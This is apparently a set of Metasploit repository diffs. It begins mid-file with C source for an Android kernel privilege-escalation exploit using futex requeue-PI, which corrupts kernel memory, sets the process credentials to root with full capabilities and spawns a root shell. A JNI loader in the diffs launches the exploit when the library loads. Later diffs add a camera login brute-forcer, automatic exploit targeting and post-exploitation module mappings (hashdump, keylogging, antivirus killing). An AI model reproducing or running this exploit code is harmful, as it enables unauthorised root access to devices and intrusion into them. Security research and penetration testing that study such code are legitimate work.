credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
write_pipe(cred, &credbuf, sizeof credbuf);
pid = syscall(__NR_gettid);
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
static unsigned long write_value = 1;
if (taskbuf[i] == pid) {
write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
if (getuid() != 0) {
printf("ROOT FAILED\n");
while (1) {
sleep(10);
}
} else { //rooted
break;
}
}
}
sleep(1);
if (g_argc >= 2) {
system(rootcmd);
} else {
system("/system/bin/sh -i");
}
system("/system/bin/touch /dev/rooted");
pid = fork();
if (pid == 0) {
while (1) {
ret = access("/dev/rooted", F_OK);
if (ret >= 0) {
break;
}
}
printf("wait 10 seconds...\n");
sleep(10);
printf("rebooting...\n");
sleep(1);
system("reboot");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_cond_signal(&done);
pthread_mutex_unlock(&done_lock);
while (1) {
sleep(10);
}
return;
}
void *make_action(void *arg) {
int prio;
struct sigaction act;
int ret;
prio = (int)arg;
last_tid = syscall(__NR_gettid);
pthread_mutex_lock(&is_thread_desched_lock);
pthread_cond_signal(&is_thread_desched);
act.sa_handler = write_kernel;
act.sa_mask = 0;
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(12, &act, NULL);
setpriority(PRIO_PROCESS, 0, prio);
pthread_mutex_unlock(&is_thread_desched_lock);
do_dm_tid_read = 1;
while (did_dm_tid_read == 0) {
;
}
ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
printf("futex dm: %d\n", ret);
while (1) {
sleep(10);
}
return NULL;
}
pid_t wake_actionthread(int prio) {
pthread_t th4;
pid_t pid;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
do_dm_tid_read = 0;
did_dm_tid_read = 0;
pthread_mutex_lock(&is_thread_desched_lock);
pthread_create(&th4, 0, make_action, (void *)prio);
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
pid = last_tid;
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
while (do_dm_tid_read == 0) {
usleep(10);
}
did_dm_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
pthread_mutex_unlock(&is_thread_desched_lock);
return pid;
}
int make_socket() {
int sockfd;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if (sockfd < 0) {
printf("socket failed.\n");
usleep(10);
} else {
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}
while (1) {
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
if (ret >= 0) {
break;
}
usleep(10);
}
sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
return sockfd;
}
void *send_magicmsg(void *arg) {
int sockfd;
struct mmsghdr msgvec[1];
struct iovec msg_iov[8];
unsigned long databuf[0x20];
int i;
int ret;
waiter_thread_tid = syscall(__NR_gettid);
setpriority(PRIO_PROCESS, 0, 12);
sockfd = make_socket();
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
databuf[i] = MAGIC;
}
for (i = 0; i < 8; i++) {
msg_iov[i].iov_base = (void *)MAGIC;
msg_iov[i].iov_len = 0x10;
}
msgvec[0].msg_hdr.msg_name = databuf;
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
msgvec[0].msg_hdr.msg_iov = msg_iov;
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
msgvec[0].msg_hdr.msg_control = databuf;
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
msgvec[0].msg_hdr.msg_flags = 0;
msgvec[0].msg_len = 0;
syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0);
do_socket_tid_read = 1;
while (1) {
if (did_socket_tid_read != 0) {
break;
}
}
ret = 0;
while (1) {
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
if (ret <= 0) {
break;
}
}
if (ret < 0) {
perror("SOCKSHIT");
}
printf("EXIT WTF\n");
while (1) {
sleep(10);
}
return NULL;
}
static inline setup_exploit(unsigned long mem)
{
*((unsigned long *)(mem - 0x04)) = 0x81;
*((unsigned long *)(mem + 0x00)) = mem + 0x20;
*((unsigned long *)(mem + 0x08)) = mem + 0x28;
*((unsigned long *)(mem + 0x1c)) = 0x85;
*((unsigned long *)(mem + 0x24)) = mem;
*((unsigned long *)(mem + 0x2c)) = mem + 8;
}
void *search_goodnum(void *arg) {
int ret;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
unsigned long magicval;
pid_t pid;
unsigned long goodval, goodval2;
unsigned long addr, setaddr;
int i;
char buf[0x1000];
syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
while (1) {
ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1);
if (ret == 1) {
break;
}
usleep(10);
}
wake_actionthread(6);
wake_actionthread(7);
uaddr2 = 0;
do_socket_tid_read = 0;
did_socket_tid_read = 0;
syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);
while (1) {
if (do_socket_tid_read != 0) {
break;
}
}
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_socket_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
printf("starting the dangerous things\n");
setup_exploit(MAGIC_ALT);
setup_exploit(MAGIC);
magicval = *((unsigned long *)MAGIC);
wake_actionthread(11);
if (*((unsigned long *)MAGIC) == magicval) {
printf("using MAGIC_ALT.\n");
MAGIC = MAGIC_ALT;
}
while (1) {
is_kernel_writing = (pthread_mutex_t *)malloc(4);
pthread_mutex_init(is_kernel_writing, NULL);
setup_exploit(MAGIC);
pid = wake_actionthread(11);
goodval = *((unsigned long *)MAGIC) & 0xffffe000;
printf("%p is a good number\n", (void *)goodval);
do_splice_tid_read = 0;
did_splice_tid_read = 0;
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
while (1) {
if (do_splice_tid_read != 0) {
break;
}
usleep(10);
}
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_splice_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 != vcscnt + 1) {
break;
}
usleep(10);
}
goodval2 = 0;
setup_exploit(MAGIC);
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
wake_actionthread(12);
goodval2 = *((unsigned long *)(MAGIC + 0x24));
printf("%p is also a good number.\n", (void *)goodval2);
for (i = 0; i < 9; i++) {
setup_exploit(MAGIC);
pid = wake_actionthread(10);
if (*((unsigned long *)MAGIC) < goodval2) {
HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000);
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
printf("GOING\n");
write(HACKS_fdm, buf, sizeof buf);
while (1) {
sleep(10);
}
}
}
}
return NULL;
}
void *accept_socket(void *arg) {
int sockfd;
int yes;
struct sockaddr_in addr = {0};
int ret;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
yes = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
listen(sockfd, 1);
while(1) {
ret = accept(sockfd, NULL, NULL);
if (ret < 0) {
printf("**** SOCK_PROC failed ****\n");
while(1) {
sleep(10);
}
} else {
printf("i have a client like hookers.\n");
}
}
return NULL;
}
void init_exploit() {
unsigned long addr;
pthread_t th1, th2, th3;
printf("running with pid %d\n", getpid());
pthread_create(&th1, NULL, accept_socket, NULL);
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC = addr;
if ((long)addr >= 0) {
printf("first mmap failed?\n");
while (1) {
sleep(10);
}
}
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC_ALT = addr;
if (addr > 0x110000) {
printf("second mmap failed?\n");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_create(&th2, NULL, search_goodnum, NULL);
pthread_create(&th3, NULL, send_magicmsg, NULL);
pthread_cond_wait(&done, &done_lock);
}
int main(int argc, char **argv) {
g_argc = argc;
if (argc >= 2) {
strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1);
int i;
for (i=1;i<argc;i++) {
strlcat(rootcmd, argv[i], sizeof(rootcmd) - 1);
strlcat(rootcmd, " ", sizeof(rootcmd) - 1);
}
strlcat(rootcmd, "'", sizeof(rootcmd) - 1);
}
init_exploit();
printf("Finished, looping.\n");
while (1) {
sleep(10);
}
return 0;
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,11 @@
//#define DEBUG
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
#define LOGD(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
#else
#define LOGV(...)
#define LOGD(...)
#endif

View File

@ -0,0 +1,63 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <jni.h>
#include "log.h"
extern int waiter_exploit();
extern int config_new_samsung;
extern int config_iovstack;
extern int config_offset;
extern int config_force_remove;
void init_exploit() {
LOGV("[+] <main> parent pid = %d", getpid());
int retval = waiter_exploit();
LOGV("Exploit result %d\n", retval);
}
int main(int argc, char **argv) {
if (argc > 4) {
config_new_samsung = atoi(argv[1]);
config_iovstack = atoi(argv[2]);
config_offset = atoi(argv[3]);
config_force_remove = atoi(argv[4]);
}
init_exploit();
exit(EXIT_SUCCESS);
}
JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
{
JNIEnv *env;
LOGV("onload, uid=%d\n", getuid());
if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)
{
return -1;
}
int pid = fork();
if (pid == 0) {
init_exploit();
}
return JNI_VERSION_1_4;
}
JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )
{
}

View File

@ -46,7 +46,7 @@ Feature: Help command
------- -----------
advanced Displays advanced options for one or more modules
back Move back from the current context
edit Edit the current module with $VISUAL or $EDITOR
edit Edit the current module with the preferred editor
info Displays information about one or more modules
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules

View File

@ -0,0 +1,119 @@
require 'metasploit/framework/login_scanner/http'
require 'digest'
module Metasploit
module Framework
module LoginScanner
class BavisionCameras < HTTP
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
# Checks if the target is BAVision Camera's web server. The login module should call this.
#
# @return [Boolean] TrueClass if target is SWG, otherwise FalseClass
def check_setup
login_uri = normalize_uri("#{uri}")
res = send_request({'uri'=> login_uri})
if res && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/)
return true
end
false
end
# Auth to the server using digest auth
def try_digest_auth(cred)
login_uri = normalize_uri("#{uri}")
res = send_request({
'uri' => login_uri,
'credential' => cred,
'DigestAuthIIS' => false,
'headers' => {'Accept'=> '*/*'}
})
digest = digest_auth(cred.public, cred.private, res.headers)
res = send_request({
'uri' => login_uri,
'headers' => {
'Authorization' => digest
}})
if res && res.code == 200 && res.body =~ /hy\-cgi\/user\.cgi/
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body}
end
{:status => LOGIN_STATUS::INCORRECT, :proof => res.body}
end
# The Rex HTTP Digest auth is making the camera server to refuse to respond for some reason.
# The API also fails to generate the CNONCE parameter (bug), which makes it unsuitable for
# our needs, therefore we have our own implementation of digest auth.
def digest_auth(user, password, response)
nonce_count = 1
cnonce = Digest::MD5.hexdigest("%x" % (Time.now.to_i + rand(65535)))
response['www-authenticate'] =~ /^(\w+) (.*)/
params = {}
$2.gsub(/(\w+)="(.*?)"/) { params[$1] = $2 }
a_1 = "#{user}:#{params['realm']}:#{password}"
a_2 = "GET:#{uri}"
request_digest = ''
request_digest << Digest::MD5.hexdigest(a_1)
request_digest << ':' << params['nonce']
request_digest << ':' << ('%08x' % nonce_count)
request_digest << ':' << cnonce
request_digest << ':' << params['qop']
request_digest << ':' << Digest::MD5.hexdigest(a_2)
header = []
header << "Digest username=\"#{user}\""
header << "realm=\"#{params['realm']}\""
header << "qop=#{params['qop']}"
header << "uri=\"/\""
header << "nonce=\"#{params['nonce']}\""
header << "nc=#{'%08x' % nonce_count}"
header << "cnonce=\"#{cnonce}\""
header << "response=\"#{Digest::MD5.hexdigest(request_digest)}\""
header * ', '
end
# Attempts to login to the camera. This is called first.
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(try_digest_auth(credential))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.13.11"
VERSION = "4.13.16"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -407,7 +407,23 @@ class ReadableText
next if (opt.evasion?)
next if (missing && opt.valid?(val))
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
desc = opt.desc.dup
# Hint at RPORT proto by regexing mixins
if name == 'RPORT' && opt.kind_of?(Msf::OptPort)
mod.class.included_modules.each do |m|
case m.name
when /tcp/i, /HttpClient$/
desc << ' (TCP)'
break
when /udp/i
desc << ' (UDP)'
break
end
end
end
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", desc ]
end
return tbl.to_s

View File

@ -277,8 +277,23 @@ class Meterpreter < Rex::Post::Meterpreter::Client
#
# Explicitly runs a command in the meterpreter console.
#
def run_cmd(cmd)
console.run_single(cmd)
def run_cmd(cmd,output_object=nil)
stored_output_state = nil
# If the user supplied an Output IO object, then we tell
# the console to use that, while saving it's previous output/
if output_object
stored_output_state = console.output
console.send(:output=, output_object)
end
success = console.run_single(cmd)
# If we stored the previous output object of the channel
# we restore it here to put everything back the way we found it
# We re-use the conditional above, because we expect in many cases for
# the stored state to actually be nil here.
if output_object
console.send(:output=,stored_output_state)
end
success
end
#

View File

@ -51,6 +51,48 @@ module Scriptable
raise NotImplementedError
end
#
# Maps legacy Meterpreter script names to replacement post modules
def legacy_script_to_post_module(script_name)
{
'autoroute' => 'post/windows/manage/autoroute',
'checkvm' => 'post/windows/gather/checkvm',
'duplicate' => 'post/windows/manage/multi_meterpreter_inject',
'enum_chrome' => 'post/windows/gather/enum_chrome',
'enum_firefox' => 'post/windows/gather/enum_firefox',
'enum_logged_on_users' => 'post/windows/gather/enum_logged_on_users',
'enum_powershell_env' => 'post/windows/gather/enum_powershell_env',
'enum_putty' => 'post/windows/gather/enum_putty_saved_sessions',
'enum_shares' => 'post/windows/gather/enum_shares',
'file_collector' => 'post/windows/gather/enum_files',
'get_application_list' => 'post/windows/gather/enum_applications',
'getcountermeasure' => 'post/windows/manage/killav',
'get_filezilla_creds' => 'post/windows/gather/credentials/filezilla_server',
'getgui' => 'post/windows/manage/enable_rdp',
'get_local_subnets' => 'post/windows/manage/autoroute',
'get_valid_community' => 'post/windows/gather/enum_snmp',
'getvncpw' => 'post/windows/gather/credentials/vnc',
'hashdump' => 'post/windows/gather/smart_hashdump',
'hostsedit' => 'post/windows/manage/inject_host',
'keylogrecorder' => 'post/windows/capture/keylog_recorder',
'killav' => 'post/windows/manage/killav',
'metsvc' => 'post/windows/manage/persistence_exe',
'migrate' => 'post/windows/manage/migrate',
'packetrecorder' => 'post/windows/manage/rpcapd_start',
'persistence' => 'post/window/manager/persistence_exe',
'prefetchtool' => 'post/windows/gather/enum_prefetch',
'remotewinenum' => 'post/windows/gather/wmic_command',
'schelevator' => 'exploits/windows/local/ms10_092_schelevator',
'screenspy' => 'post/windows/gather/screen_spy',
'screen_unlock' => 'post/windows/escalate/screen_unlock',
'search_dwld' => 'post/windows/gather/enum_files',
'service_permissions_escalate' => 'exploits/windows/local/service_permissions',
'uploadexec' => 'post/windows/manage/download_exec',
'webcam' => 'post/windows/manage/webcam',
'wmic' => 'post/windows/gather/wmic_command',
}[script_name]
end
#
# Executes the supplied script, Post module, or local Exploit module with
# arguments +args+
@ -58,6 +100,8 @@ module Scriptable
# Will search the script path.
#
def execute_script(script_name, *args)
post_module = legacy_script_to_post_module(script_name)
script_name = post_module if !post_module.nil?
mod = framework.modules.create(script_name)
if mod
# Don't report module run events here as it will be taken care of

View File

@ -43,16 +43,41 @@ module Auxiliary::UDPScanner
datastore['BATCHSIZE'].to_i
end
def udp_sock(ip, port)
@udp_socks_mutex.synchronize do
key = "#{ip}:#{port}"
unless @udp_socks.key?(key)
@udp_socks[key] =
Rex::Socket::Udp.create({
'LocalHost' => datastore['CHOST'] || nil,
'LocalPort' => datastore['CPORT'] || 0,
'PeerHost' => ip,
'PeerPort' => port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
add_socket(@udp_socks[key])
end
return @udp_socks[key]
end
end
def cleanup_udp_socks
@udp_socks_mutex.synchronize do
@udp_socks.each do |key, sock|
@udp_socks.delete(key)
remove_socket(sock)
sock.close
end
end
end
# Start scanning a batch of IP addresses
def run_batch(batch)
@udp_sock = Rex::Socket::Udp.create({
'LocalHost' => datastore['CHOST'] || nil,
'LocalPort' => datastore['CPORT'] || 0,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
add_socket(@udp_sock)
@udp_socks = {}
@udp_socks_mutex = Mutex.new
@udp_send_count = 0
@interval_mutex = Mutex.new
# Provide a hook for pre-scanning setup
scanner_prescan(batch)
@ -95,9 +120,10 @@ module Auxiliary::UDPScanner
def scanner_send(data, ip, port)
resend_count = 0
sock = nil
begin
@udp_sock.sendto(data, ip, port, 0)
sock = udp_sock(ip, port)
sock.send(data, 0)
rescue ::Errno::ENOBUFS
resend_count += 1
@ -112,15 +138,16 @@ module Auxiliary::UDPScanner
retry
rescue ::Rex::ConnectionError
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED
# This fires for host unreachable, net unreachable, and broadcast sends
# We can safely ignore all of these for UDP sends
end
@udp_send_count += 1
if @udp_send_count % datastore['ScannerRecvInterval'] == 0
scanner_recv(0.1)
@interval_mutex.synchronize do
@udp_send_count += 1
if @udp_send_count % datastore['ScannerRecvInterval'] == 0
scanner_recv(0.1)
end
end
true
@ -129,29 +156,38 @@ module Auxiliary::UDPScanner
# Process incoming packets and dispatch to the module
# Ensure a response flood doesn't trap us in a loop
# Ignore packets outside of our project's scope
def scanner_recv(timeout=0.1)
def scanner_recv(timeout = 0.1)
queue = []
while (res = @udp_sock.recvfrom(65535, timeout))
start = Time.now
while Time.now - start < timeout do
readable, _, _ = ::IO.select(@udp_socks.values, nil, nil, timeout)
if readable
for sock in readable
res = sock.recvfrom(65535, timeout)
# Ignore invalid responses
break if not res[1]
# Ignore invalid responses
break if not res[1]
# Ignore empty responses
next if not (res[0] and res[0].length > 0)
# Ignore empty responses
next if not (res[0] and res[0].length > 0)
# Trim the IPv6-compat prefix off if needed
shost = res[1].sub(/^::ffff:/, '')
# Trim the IPv6-compat prefix off if needed
shost = res[1].sub(/^::ffff:/, '')
# Ignore the response if we have a boundary
next unless inside_workspace_boundary?(shost)
# Ignore the response if we have a boundary
next unless inside_workspace_boundary?(shost)
queue << [res[0], shost, res[2]]
queue << [res[0], shost, res[2]]
if queue.length > datastore['ScannerRecvQueueLimit']
break
if queue.length > datastore['ScannerRecvQueueLimit']
break
end
end
end
end
cleanup_udp_socks
queue.each do |q|
scanner_process(*q)
end

View File

@ -55,6 +55,7 @@ module HttpClients
SAFARI = "Safari"
OPERA = "Opera"
CHROME = "Chrome"
EDGE = "Edge"
UNKNOWN = "Unknown"
end

View File

@ -124,8 +124,6 @@ module Msf::DBManager::Connection
ActiveRecord::Base.connection.active?
}
rescue ActiveRecord::ConnectionNotEstablished, PG::ConnectionBad => error
elog("Connection not established: #{error.class} #{error}:\n#{error.backtrace.join("\n")}")
false
end
end

View File

@ -181,6 +181,16 @@ module Msf::DBManager::Host
opts[:name] = opts[:name][0,255]
end
if opts[:os_name]
os_name, os_flavor = split_windows_os_name(opts[:os_name])
opts[:os_name] = os_name if os_name.present?
if opts[:os_flavor].present?
opts[:os_flavor] = os_flavor + opts[:os_flavor]
else
opts[:os_flavor] = os_flavor
end
end
opts.each { |k,v|
if (host.attribute_names.include?(k.to_s))
unless host.attribute_locked?(k.to_s)
@ -213,6 +223,13 @@ module Msf::DBManager::Host
}
end
def split_windows_os_name(os_name)
return [] if os_name.nil?
flavor_match = os_name.match(/Windows\s+(.*)/)
return [] if flavor_match.nil?
["Windows", flavor_match.captures.first]
end
#
# Update a host's attributes via semi-standardized sysinfo hash (Meterpreter)
#
@ -273,7 +290,8 @@ module Msf::DBManager::Host
end
if info['OS'] =~ /^Windows\s*([^\(]+)\(([^\)]+)\)/i
res[:os_name] = "Windows #{$1.strip}"
res[:os_name] = "Windows"
res[:os_flavor] = $1.strip
build = $2.strip
if build =~ /Service Pack (\d+)/

View File

@ -162,6 +162,8 @@ class Exploit < Msf::Module
#
###
class Remote < Exploit
require 'msf/core/exploit/auto_target'
include Msf::Exploit::AutoTarget
#
# Initializes the socket array.
@ -285,9 +287,25 @@ class Exploit < Msf::Module
# to the information hash.
super(info)
# Skip this whole routine if there are no targets
unless info['Targets'].nil?
# Add an Automatic Target to the Exploit if it doesn't have one
unless has_auto_target?(info['Targets'])
# Don't add the automatic target unless there's already more than one target to pick from
if info['Targets'].count > 1
# Finally, only add the target if there is a remote host option
if self.respond_to?(:rhost)
auto = ["Automatic", { 'AutoGenerated' => true}]
info['Targets'].unshift(auto)
end
end
end
end
self.targets = Rex::Transformer.transform(info['Targets'], Array,
[ Target ], 'Targets')
self.default_target = info['DefaultTarget']
self.default_target = info['DefaultTarget'] || 0
self.payload_info = info['Payload'] || {}
self.successful = false
self.session_count = 0
@ -321,6 +339,14 @@ class Exploit < Msf::Module
], Msf::Exploit)
end
def has_auto_target?(targets=[])
target_names = targets.collect { |target| target.first}
target_names.each do |target|
return true if target =~ /Automatic/
end
return false
end
##
#
# Core exploit interface
@ -665,8 +691,21 @@ class Exploit < Msf::Module
# default target, that one will be automatically used.
#
def target
target_idx = target_index
if self.respond_to?(:auto_targeted_index)
if auto_target?
auto_idx = auto_targeted_index
if auto_idx.present?
datastore['TARGET'] = auto_idx
else
# If our inserted Automatic Target was selected but we failed to
# find a suitable target, we just grab the original first target.
datastore['TARGET'] = 1
end
end
end
target_idx = target_index
return (target_idx) ? targets[target_idx.to_i] : nil
end
@ -676,9 +715,10 @@ class Exploit < Msf::Module
def target_index
target_idx = datastore['TARGET']
default_idx = default_target || 0
# Use the default target if one was not supplied.
if (target_idx == nil and default_target and default_target >= 0)
target_idx = default_target
if (target_idx == nil and default_idx and default_idx >= 0)
target_idx = default_idx
end
return (target_idx) ? target_idx.to_i : nil
end

View File

@ -0,0 +1,120 @@
module Msf
module Exploit::AutoTarget
# Checks to see if the auto-generated Automatic Targeting
# has been selected. If the module had an already defined
# Automatic target, then we let the module handle the targeting
# itself.
#
# @return [Boolean] whether or not to use our automatic targeting routine
def auto_target?
selected_target = targets[target_index]
return false if selected_target.nil?
if selected_target.name =~ /Automatic/ && selected_target['AutoGenerated'] == true && auto_target_host
true
else
false
end
end
# Returns the Target Index of the automatically selected Target from
# our Automatic Targeting routine.
#
# @return [Integer] the index of the selected Target
# @return [nil] if no target could be selected
def auto_targeted_index
selected_target = select_target
return nil if selected_target.nil?
targets.each_with_index do |target, index|
return index if target == selected_target
end
nil
end
# Chooses the best possible Target for what we know about
# the targeted host.
#
# @return [Msf::Module::Target] the Target that our automatic routine selected
def select_target
return nil unless auto_target?
host_record = auto_target_host
return nil if host_record.nil?
filtered_targets = filter_by_os(host_record)
filtered_targets.first
end
# Finds an <Mdm::Host> for the RHOST if one exists
#
# @return [Mdm:Host] the Host record if one exists
# @return [nil] if no Host record is present, or the DB is not active
def auto_target_host
return nil unless self.respond_to?(:rhost)
return nil unless framework.db.active
current_workspace = framework.db.find_workspace(self.workspace)
current_workspace.hosts.where(address: rhost).first
end
# Returns the best matching Targets based on the target host's
# OS information. It looks at the OS Family, OS Name, and OS SP.
#
# @param host_record [Mdm::Host] the target host record
# @return [Array<Msf::Module::Target>] an array of matching targets
def filter_by_os(host_record)
filtered_by_family = filter_by_os_family(host_record)
filtered_by_name = filter_by_os_name(filtered_by_family, host_record)
# If Filtering by name gave us no results, then we reset back to the family filter group
filtered_by_name = filtered_by_family if filtered_by_name.empty?
filtered_by_sp = filter_by_os_sp(filtered_by_name,host_record)
# If Filtering by SP was a bust, revert back one level
filtered_by_sp = filtered_by_name if filtered_by_sp.empty?
filtered_by_sp
end
# Returns all Targets that match the target host's OS Family
# e.g Windows, Linux, OS X, etc
#
# @param host_record [Mdm::Host] the target host record
# @return [Array<Msf::Module::Target>] an array of matching targets
def filter_by_os_family(host_record)
return [] if host_record.os_family.blank?
filtered_targets = targets.collect do |target|
if target.name =~ /#{host_record.os_family}/
target
else
nil
end
end
filtered_targets.compact
end
# Returns all Targets that match the target host's OS Name
# e.g Windows 7, Windows XP, Windows Vista, etc
#
# @param potential_targets [Array<Msf::Module::Target>] the filtered targets that we wish to filter further
# @param host_record [Mdm::Host] the target host record
# @return [Array<Msf::Module::Target>] an array of matching targets
def filter_by_os_name(potential_targets, host_record)
return [] if host_record.os_name.blank?
filtered_targets = []
potential_targets.each do |target|
filtered_targets << target if target.name =~ /#{host_record.os_name}/
end
filtered_targets
end
# Returns all Targets that match the target host's OS SP
#
# @param potential_targets [Array<Msf::Module::Target>] the filtered targets that we wish to filter further
# @param host_record [Mdm::Host] the target host record
# @return [Array<Msf::Module::Target>] an array of matching targets
def filter_by_os_sp(potential_targets, host_record)
return [] if host_record.os_sp.blank?
filtered_targets = []
potential_targets.each do |target|
filtered_targets << target if target.name =~ /#{host_record.os_sp}/
end
filtered_targets
end
end
end

View File

